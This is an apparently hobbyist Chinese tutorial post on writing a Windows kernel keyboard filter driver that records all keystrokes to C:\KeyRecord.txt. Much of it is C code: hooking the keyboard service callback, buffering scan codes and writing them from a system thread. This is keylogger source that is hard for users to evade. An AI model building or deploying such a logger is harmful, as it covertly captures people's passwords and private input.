利用filter driver实现键盘记录

实现键盘记录的方法一般是用全局钩子注入进程，这种方法比较简单，网上有N多文章讨论，不过对于一个高明的程序员来说，仍然可以躲开全局钩子的拦截。而用一个键盘的过滤驱动程序来拦截按键，程序员基本不可能绕开它的拦截。这两天无聊的很，做项目不是很顺，抽了点时间写了个东西。贴在这里灌水，高手们就不要看了。
driver entry是标准的例程，我们这里注册了一些分派函数
NTSTATUS
DriverEntry (
    IN  PDRIVER_OBJECT  DriverObject,
    IN  PUNICODE_STRING RegistryPath
    )
{
    ULONG i;

    UNREFERENCED_PARAMETER (RegistryPath);

    // 
    // Fill in all the dispatch entry points with the pass through function
    // and the explicitly fill in the functions we are going to intercept
    // 
    for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) {
        DriverObject->MajorFunction[i] = KbFilter_DispatchPassThrough;
    }

    DriverObject->MajorFunction [IRP_MJ_CREATE] =
    DriverObject->MajorFunction [IRP_MJ_CLOSE] =        KbFilter_CreateClose;
    DriverObject->MajorFunction [IRP_MJ_PNP] =          KbFilter_PnP;
    DriverObject->MajorFunction [IRP_MJ_POWER] =        KbFilter_Power;
    DriverObject->MajorFunction [IRP_MJ_INTERNAL_DEVICE_CONTROL] =
                                                        KbFilter_InternIoCtl;
    DriverObject->MajorFunction [IRP_MJ_SHUTDOWN]=KbFilter_DispatchShutdown;                               
    
   
    DriverObject->DriverUnload = KbFilter_Unload;
    DriverObject->DriverExtension->AddDevice = KbFilter_AddDevice;

    return STATUS_SUCCESS;
}
注册KbFilter_DispatchShutdown是为了在系统shutdown的时候获得通知，做些处理。
基本上所有的irp 都通过KbFilter_DispatchPassThrough传递到下层的驱动处理，一些ioctol irp也只是简单的 
return一个nt status，我并不关心这些东西，需要传递的irp传递给下层驱动处理，这个filter本身基本不做任何处理，关键的部分在 
KbFilter_CreateClose里面创建一个文件用于记录按键，代码如下：
  RtlInitUnicodeString(&devExt->RecordFileName,L"//DosDevices//c://KeyRecord.txt");
           /*NOTE:lzp--2005-4-9---
           * OBJ_KERNEL_HANDLE must be set, otherwise, the zwwritefile will failed
           */
     
    InitializeObjectAttributes(&ObjectAttri,&devExt->RecordFileName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,
     
NULL,NULL);
     
     //create or open the file
     
status=ZwCreateFile(
&devExt->RecordFileHandle,
FILE_APPEND_DATA|SYNCHRONIZE,
&ObjectAttri,
&IoStatusBlock,
NULL,
FILE_ATTRIBUTE_NORMAL,
FILE_SHARE_WRITE|FILE_SHARE_READ,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
      
if (!NT_SUCCESS(status)) {
      DbgPrint("ZwCreateFile failed/n");
     
//IoDeleteDevice(device);
         return (status);
    
 }
所有的按键都保存在这个文件中，当有按键时候，会出发中断，最终调用VOID
KbFilter_ServiceCallback(
    IN PDEVICE_OBJECT DeviceObject,
    IN PKEYBOARD_INPUT_DATA InputDataStart,
    IN PKEYBOARD_INPUT_DATA InputDataEnd,
    IN OUT PULONG InputDataConsumed
    )这个函数来处理按键，通过hook这个callback，实现自己的功能，我在device_extension里开了个一个缓冲区用来记录按键，每记录100个按键，写一次文件；这部分都是在KbFilter_ServiceCallback实现的
PDEVICE_EXTENSION   devExt;

    devExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;
    ProcessScanCode(InputDataStart,
     
    InputDataEnd,devExt);

    (*(PSERVICE_CALLBACK_ROUTINE) devExt->UpperConnectData.ClassService)(
        devExt->UpperConnectData.ClassDeviceObject,
        InputDataStart,
        InputDataEnd,
        InputDataConsumed);
首先调用ProcessScanCode来记录按键，接着调用上层驱动的callback函数，把数据交给它们处理。
processscancode根据scan code转换为字符，保存在buffer中，每当记录了100个按键后，就调用
NTSTATUS
StoreKeyToFile(PDEVICE_EXTENSION   devExt)
{

NTSTATUS status=STATUS_SUCCESS;


//DbgPrint("IRQL:%d/n",KeGetCurrentIrql());

DbgPrint("Enter the StoreKeyToFile Routine/n");

     
devExt->KeyBuffer[index++]='/n';

     
KeSetEvent(&devExt->BeginWriteEvent,0,FALSE); 
     
index=0;
    
     
     
return status;
  }
把数据写入文件。由于此时IRQL是2(dispatch level irql），而zwwritefile只能在passive_level调用，为此专门实现了一个系统线程来做写文件的工作。系统线程在KbFilter_CreateClose 中创建：
// create system thread for write key value to file
     
status = PsCreateSystemThread(&ThreadHandle,
     
THREAD_ALL_ACCESS,
NULL,
NULL,
NULL,
(PKSTART_ROUTINE) WriteThreadProc,
devExt);
   
 if (!NT_SUCCESS(status))
     return status;
    
ObReferenceObjectByHandle(ThreadHandle, 

    THREAD_ALL_ACCESS,
    NULL,
    KernelMode,
    (PVOID*) &devExt->WriteThread,
    NULL);
   
  ZwClose(ThreadHandle); 

         并初始化两个event:
 //initialize event object
         KeInitializeEvent(&devExt->BeginWriteEvent,
          
NotificationEvent, FALSE);
KeInitializeEvent(&devExt->ExitEvent,
          
NotificationEvent, FALSE); 

这两个event一个用于通知系统线程开始写文件，一个通知系统线程终止。每当buffer中保存了100个字符时候在storekeytofile里面就通过KeSetEvent(&devExt->BeginWriteEvent,0,FALSE)来唤醒系统线程开始写文件。系统线程代码入下：
VOID WriteThreadProc(PDEVICE_EXTENSION pdx)
{
NTSTATUS status;
IO_STATUS_BLOCK         IoStatusBlock;

PVOID ThreadEvent[]=
{
(PVOID) &pdx->BeginWriteEvent,
(PVOID) &pdx->ExitEvent,
};

//DbgPrint("Enter WriteThread/n");//debug only

while(TRUE){
DbgPrint("begin wait/n");
status=KeWaitForMultipleObjects(2,ThreadEvent,WaitAny,
Executive,KernelMode,
FALSE,NULL,NULL);

if(!NT_SUCCESS(status)){
DbgPrint("error--KeWaitxxx/n");

goto exit;
}

if(status==STATUS_TIMEOUT){
DbgPrint("Timeout/n");

goto exit;
}

if(status == STATUS_WAIT_0){ 

DbgPrint("Begin Write/n"); 

 KeClearEvent(&pdx->BeginWriteEvent);

status=ZwWriteFile(pdx->RecordFileHandle,
NULL,
NULL,
NULL,
&IoStatusBlock,
(UCHAR*)pdx->KeyBuffer,
100,
NULL,//&BufOffset,
NULL);
if (!NT_SUCCESS(status)) {
DbgPrint("Error in ZwWriteFile:%u/n",status); 

      }
      // KeStallExecutionProcessor(100);
      

 }else if(status == STATUS_WAIT_1){
      DbgPrint("Terminate/n");
  
    KeClearEvent(&pdx->ExitEvent);
      
      goto exit;
  
   
  
//PsTerminateSystemThread(STATUS_SUCCESS);
 }else{
      DbgPrint("Error--thread proc/n");
      
      goto exit;
 }
}
exit:
PsTerminateSystemThread(STATUS_SUCCESS);
}
它一创建就进入一个while(TRUE)循环，调用kewaitformultipleobjects来睡眠，等待唤醒。如果是beginwriteevent唤醒的就写文件，如果是exitevent唤醒的就终止运行。
当系统shutdown的时候，可能buffer中的字符不到100个，则不会调用系统线程写文件，我本来的考虑是注册个shutdwon例程，在 
KbFilter_DispatchShutdown中把所有buffer中的数据都写到文件中。但是调试后发现这个写文件的操作从来没有成功过，不知道什么原因。此外，更加诡异的是，在系统boot的时候会发送IRP_MJ_CLOSE irp给驱动，结果close例程被调用，这极其奇怪。不过好在每什么影响，没时间了，懒得debug它。
至于为什么KbFilter_DispatchShutdown写文件不成功，不知道哪位大虾了解，麻烦指教。我觉得可能是shutdwon的时候irql不是passive_level或者文件系统驱动已经在键盘驱动之前unload了。不是很清楚。